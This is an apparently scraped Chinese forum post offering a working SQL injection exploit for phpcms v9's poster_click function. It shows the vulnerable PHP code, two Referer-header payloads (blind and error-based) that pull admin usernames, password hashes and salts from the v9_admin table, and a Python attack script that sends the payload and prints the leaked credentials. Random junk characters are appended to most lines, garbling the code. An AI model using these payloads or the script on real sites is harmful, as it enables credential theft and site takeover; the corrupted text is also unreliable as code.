有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
6 u, Z: ?/ b; h6 r6 x, p
4 W% {3 {: f5 m2 }2 ?问题函数\phpcms\modules\poster\index.php4 T7 x9 ?1 j( v3 H
1 E4 r! G6 H& @" j8 d/ b4 c$ d. ]& U
public function poster_click() {
" q: e+ f3 S* G, S8 c ?$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
9 x0 K* ~+ s+ R A0 f" G4 x1 x* {$r = $this->db->get_one(array('id'=>$id));3 s& N( h k; E0 [3 ]
if (!is_array($r) && empty($r)) return false;+ |3 a% n9 ~6 o# j+ n- f D
$ip_area = pc_base::load_sys_class('ip_area');8 n! K. Q2 a9 Y: t
$ip = ip();
5 N" q: u( @6 M( T3 d2 l9 @/ p$ e7 A3 h$area = $ip_area->get($ip);
/ B' U. V! e5 X2 R7 s$username = param::get_cookie('username') ? param::get_cookie('username') : '';9 O. g" `! _: O, b3 e3 B6 X5 ~; w
if($id) {% r- j6 g2 w* F" F
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
9 p# o/ J0 s; H$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));1 p' Q* f/ E5 U0 r. E0 C% R$ Q
}9 H, r) V1 h7 k& ]" [; I* ~
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));- { p r( o" F5 z
$setting = string2array($r['setting']);
) `1 w+ G; A0 z2 T3 w+ k9 i" Iif (count($setting)==1) {! V/ Q) \' T$ \8 @9 X( T5 S
$url = $setting['1']['linkurl'];
& Z+ `) A. @7 g* Z} else {4 c# {4 h" j7 N
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];/ f# P) T! p3 s! j1 c+ X
}1 W/ i9 Z3 E2 f" ?9 H9 m
header('Location: '.$url);
! [( g; X! `, ]9 `}! F, i r5 b9 }* y3 X' z
3 V8 Q; H& I; F- S0 ]. B! C; @
; {3 ]% E8 s# \4 G$ s/ T
# J, b# C$ B3 m% K" _5 e
利用方式:* N2 X! b0 b; m7 s ?! b$ l1 [2 N
0 ^ }) e) {0 e' h7 H% ?
1、可以采用盲注入的手法:
0 J6 q: L# A+ Y7 a8 O1 {5 l" i- j9 w9 F7 c( @9 M
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#" P( L. h: v# O2 H- U
* Q4 g5 C# `3 e! {: K6 _. @通过返回页面,正常与否一个个猜解密码字段。6 X2 c+ r; n& G0 i9 y/ y/ P
/ ?5 o. p5 T5 K/ T/ |
2、代码是花开写的,随手附上了:# {- z) b; r4 C) \
5 j( n1 j: |1 C0 i* d. F( D l. r1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#' i: {! F+ |* e1 m5 h0 S2 D
0 g* R3 V- H7 h1 ]1 {! z' O
此方法是爆错注入手法,原理自查。
( p0 Q) N8 t# ^% I2 x6 O$ }( n4 e, D7 m
: h6 m1 Y7 e. u. T$ |4 x+ c- D, b* ^* [2 x) U1 Y& l3 r& e5 u. E' h
利用程序:
% @9 u& J9 y( e1 c X# i1 R y* S
7 x3 V4 v i/ K! M8 _# k#!/usr/bin/env python. r$ y: j X/ e5 b& M3 X/ @; T, p2 @
import httplib,sys,re, H S9 I Z; i. V; r; I
, c P% j, t( i: C( Jdef attack():' K, ^5 o, s6 o3 {% a
print “Code by Pax.Mac Team conqu3r!”% X' s! |) _- K! t# k% i
print “Welcome to our zone!!!”
3 p, W7 E( c6 b- F7 Y# i# qurl=sys.argv[1]
- \. P; w0 k% x7 K% c% wpaths=sys.argv[2]" v# ]' U7 t" `1 D* H
conn = httplib.HTTPConnection(url)
4 B8 w0 @' O8 T- u9 k6 \i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,6 j/ H6 k, \% \* o }
“Accept”: “text/plain”,
# J, e0 e+ B$ B" k/ i“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}! u( B4 R: U4 W. {+ b
conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)& ~7 T3 Y4 k C: f0 r: w5 {
r1 = conn.getresponse()4 X" _) S! {4 `) T
datas=r1.read()
! C, x" X0 b7 Qdatas=re.findall(r”Duplicate entry \’\w+’”, datas)
9 A: }0 m6 i/ I, U' L- F4 jprint datas[0]1 L$ ]$ [& x- `& d
conn.close()
% |( Y7 v! e5 J# L! D1 C ~$ zif __name__==”__main__”:4 @& P* a# Q) Z( x) R4 ~
if len(sys.argv)<3:& ~: |" m# v8 ~0 X% c: L7 v! q
print “Code by Pax.Mac Team conqu3r”& U7 t2 k5 \8 G O
print “Usgae:”
' n, ^* I( v3 L5 u2 |print “ phpcmsattack.py www.paxmac.org /”
8 W3 S% m2 H* H- P' p' Tprint “ phpcmsataack.py www.paxmac.org /phpcmsv9/”; T+ s" j4 ^4 E# i
sys.exit(1)
$ y, [4 S' ~8 ^% N8 l# |attack()
, y; R5 Y. b$ X8 H6 z& L5 g0 `. T3 A! q# V* n& k- y0 p9 `
|